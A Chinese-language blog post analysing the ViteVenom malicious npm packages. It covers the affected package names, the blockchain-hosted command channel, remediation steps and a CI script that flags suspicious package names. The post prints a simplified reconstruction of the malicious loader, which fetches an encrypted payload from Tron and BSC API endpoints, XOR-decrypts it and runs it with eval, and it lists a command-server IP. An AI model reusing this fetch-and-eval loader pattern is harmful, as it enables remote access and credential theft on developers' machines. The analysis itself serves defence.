ViteVenom 供应链攻击深度剖析:当区块链成为攻击者的“不死之身”
最近 npm 又爆了一个大雷。七月份 Checkmarx 的研究人员挖出了一组名为 ViteVenom 的恶意 npm 包,直接冲着 Vite 生态来的。这玩意儿不是普通的钓鱼,它的 C2 基础设施居然建在区块链上,Tron、Aptos、BSC 轮着用,想封都封不掉。作为一个天天跟 npm 打交道的开发者,我觉得有必要把这套攻击链拆开了揉碎了讲清楚,顺便说说怎么防。
一、哪些包中招了?
这次攻击涉及 7 个 scoped 包,全部伪装成 Vite 官方或相关的命名空间。下载量少的几百,多的上千,其中 @uw010010/vite-tree 最猛,干到了一千多次下载。
| 包名 | 下载次数 | 恶意版本 |
|---|---|---|
@uw010010/vite-tree | 1,070 | 3.4.2, 3.4.3, 3.6.1 |
@vite-tab/tab | 289 | 3.15.10 |
@vite-ln/build-ts | 252 | 5.15.10 |
@vite-mcp/vite-type | 239 | 6.44.1 |
@vite-pro/vite-ui | 200 | 2.5.10 |
@vitets/vite-ts | 194 | 1.5.10 |
@vite-ts/vite-ui | 176 | 6.44.1 |
看清楚,这些包都带了 @ 前缀,看起来像是一个组织发布的,比如 @vite-pro/vite-ui 跟官方的 @vitejs/plugin-react 放在一起,肉眼很难分辨。这就是 scoped 包的欺骗性, 大家总觉得带 @ 的就靠谱,其实谁都能注册。
二、这玩意儿牛在哪儿?不是传统套路
1. 执行时机卡在“导入时”,而不是“安装时”
传统 npm 恶意软件喜欢在 postinstall 脚本里搞事,现在各种安全工具都会盯那个。ViteVenom 学精了,它把恶意代码塞到 bin/vite.js 里,这个文件只有在开发者 import 这个包的时候才会跑。也就是说,你 npm install 的时候一切正常,等你高高兴兴把包引到代码里,它才开始作妖。这种“延迟触发”能绕过很多扫描器。
2. C2 长在区块链上,拔不掉
正常的恶意软件靠域名或 IP 跟主控通信,只要一曝光,安全厂商一投诉,域名就被注册商干掉了。但 ViteVenom 把 C2 指令写成区块链交易数据,存在 Tron、BSC 和 Aptos 上。链上数据不可篡改,攻击者随时可以发一笔新交易来更新载荷,而你拿他一点办法都没有。
3. 四层链条,环环相扣
攻击者设计了一套精巧的层层递进机制:
- 第一层(npm 包):
bin/vite.js作为一个加载器,里面硬编码了攻击者的 Tron 钱包地址。 - 第二层(Tron 区块链):加载器查询 Tron 链上该钱包的最新交易,从中取出一个 BSC 交易哈希。
- 第三层(BSC 区块链):用这个哈希去 BSC 上拉取加密的最终载荷,然后用一个硬编码的 XOR 密钥解密。
- 第四层(Aptos 及 HTTP 后备):如果 Tron 挂了,还有 Aptos 兜底;要是区块链全不通,直接走 HTTP 从 C2 服务器拉 RAT。
这样设计的结果就是:攻击者根本不需要维护自己的服务器,而且每次拿到的载荷还可以动态更新。
三、代码剖析
下面是我根据威胁情报还原的 bin/vite.js 简化逻辑,虽然不能完全复现,但核心流程就是下面这样:
// bin/vite.js —— 恶意加载器(简化版)
const axios = require('axios');
const crypto = require('crypto');
// 硬编码 XOR 密钥(跟之前的 ChainVeil 团伙用的是同一个)
const XOR_KEY = Buffer.from('...', 'hex');
// 攻击者的 Tron 钱包
const TRON_WALLET = 'T...';
async function fetchPayload() {
// 步骤1:查 Tron 链上该钱包最近的一笔交易
const tronResponse = await axios.get(
`https://api.trongrid.io/v1/accounts/${TRON_WALLET}/transactions`,
{ params: { limit: 1, only_confirmed: true } }
);
const txData = tronResponse.data.data[0].raw_data.contract[0].parameter.value.data;
// 步骤2:解码并反转数据,得到一个 BSC 交易哈希
const bscTxHash = decodeAndReverse(txData);
// 步骤3:去 BSC 上拉取加密的载荷
const bscResponse = await axios.get(
`https://bsc-dataseed.binance.org/api/v2/transactions/${bscTxHash}`
);
const encryptedPayload = bscResponse.data.input;
// 步骤4:用 XOR 解密
const payload = xorDecrypt(encryptedPayload, XOR_KEY);
// 步骤5:直接执行 RAT
eval(payload);
}
// 导入时立即执行
fetchPayload().catch(() => {
// 如果 Tron 不行,走 Aptos 或 HTTP
fallbackFetch();
});
注意几个危险点:
eval(payload)意味着最后的 RAT 代码从不落盘,全是内存里跑,杀毒软件很难抓到。- 密钥硬编码虽然看起来很蠢,但在这种场景下反而是刻意为之, 减少外部依赖。
- 三层区块链加 HTTP 后备,保证任何时候都能活下来。
最终拿到的 RAT 能干这些事:开反向 shell、偷凭证、偷文件、往 ~/.bashrc 和 ~/.zshrc 里写持久化后门。
四、跟之前的 ChainVeil 是同一伙人
这次 ViteVenom 跟今年早些时候的 ChainVeil 攻击用了同一套基础设施:一样的 Tron 钱包、一样的 Aptos 账号、一样的 XOR 解密密钥、一样的 77KB RAT 载荷,连备用 C2 服务器 IP 都重合。说明背后是同一个团伙在迭代玩法,只不过上次盯的是 Tailwind、Sass 这些工具,这次换到了 Vite 生态。
Checkmarx 的分析师说得很到位:“表面上的差别:包名不同、维护者账号不同、第一层钱包不同, 其实都是同一个操作者为了分散风险搞的马甲。” 所以别以为这次躲过了就万事大吉,人家随时会换个马甲再搞一波。
五、如果你已经装了,赶紧这么做
- 立即卸载:
npm uninstall上面列出的所有恶意包。 - 检查 lock 文件:搜一下
package-lock.json或yarn.lock里有没有这些包名,确保没残留。 - 改密码、换 token:假设所有环境变量、本地凭证都已经被偷了,轮换所有密钥。
- 检查 shell 配置文件:看看
~/.bashrc、~/.zshrc、~/.profile有没有被添加奇怪的东西。 - 查网络日志:看有没有对外访问
api.trongrid.io、fullnode.mainnet.aptoslabs.com、bsc-dataseed.binance.org或198.105.127[.]210的记录。 - 全盘扫描临时目录:RAT 可能在那里留过痕迹,虽然它跑在内存里,但有时候会写一些临时文件。
六、怎么防?给你几招硬核方案
光知道出事没用,大家得在项目里把防护做到位。
1. 搞个包白名单机制
在团队内部约定允许使用的包范围,比如只信任 @vitejs、@vercel 这种官方账号。在 CI 里加一道检查,禁止安装未经验证的包。
示例脚本(放到 scripts/check-deps.js):
// 检查依赖中是否有可疑模式
const pkg = require('../package.json');
const deps = { ...pkg.dependencies, ...pkg.devDependencies };
const suspiciousPatterns = [
/^@[a-z0-9-]+\/[a-z0-9-]*vite/i, // 任何以 vite 结尾的 scoped 包都要警惕
/^@uw\d+/,
/^@vite-(tab|ln|mcp|pro|ts)/,
];
const found = Object.keys(deps).filter(name =>
suspiciousPatterns.some(pattern => pattern.test(name))
);
if (found.length) {
console.error('❌ 发现可疑依赖:', found.join(', '));
process.exit(1);
}
在 package.json 里加个 preinstall 脚本自动执行它,这样每次装包前都能拦一道。
2. 给 npm 装包加一层“审计代理”
如果你们公司有内部 npm 镜像,可以在代理层设置包名黑名单,直接从源头阻断。个人开发者可以写个 shell 脚本,在执行 npm install 之前先跑 npm view 查看发布者信息,手动确认。
3. 构建环境断网跑
CI/CD 环境里,大部分构建其实不需要访问外网(除了下载依赖)。把构建机放在隔离网段,只允许访问已知的 npm 镜像,禁止访问公链 API 和可疑 IP。这样就算包里有恶意逻辑,它也连不上 C2,只能干瞪眼。
4. 用 SCA 工具,并且要支持运行时检测
传统的 SCA(软件成分分析)只扫已知漏洞,现在得用上能识别恶意包的专用工具,比如 Checkmarx 自家的 Malicious Package Protection。另外,可以考虑在 Node 进程里注入监控模块,记录所有 require 和 import 行为,一旦发现有网络请求连到区块链节点,立刻提示。
5. 别迷信 scoped 包
记住,任何人花 20 美元就能注册一个 npm 组织账号,@awesome/react 不一定真的来自 Awesome 团队。装包之前多看一眼 npm view 的 maintainers 列表,或者去 GitHub 上看看有没有对应的仓库,仓库活跃度如何。
七、总结
ViteVenom 给大家敲响了警钟:供应链攻击已经从“简单的拼写错误劫持”升级到了“区块链赋能的动态载荷投递”。攻击者把不可篡改的公链当成了自己的后花园,想换载荷就换,想复活就复活。
作为开发者,我们不能只依赖 npm 官方的扫描和社区的举报,更重要的是在本地开发流程、CI 流水线里建立自己的防御层。下一次攻击可能不会叫 ViteVenom,也可能不针对 Vite,但套路只会更精妙。
希望大家看完这篇文章,能对手里的依赖多一份警惕。顺便问一句,你上次检查 package-lock.json 是什么时候?如果超过一周,不妨现在就去翻一翻。

104

被折叠的 条评论
为什么被折叠?



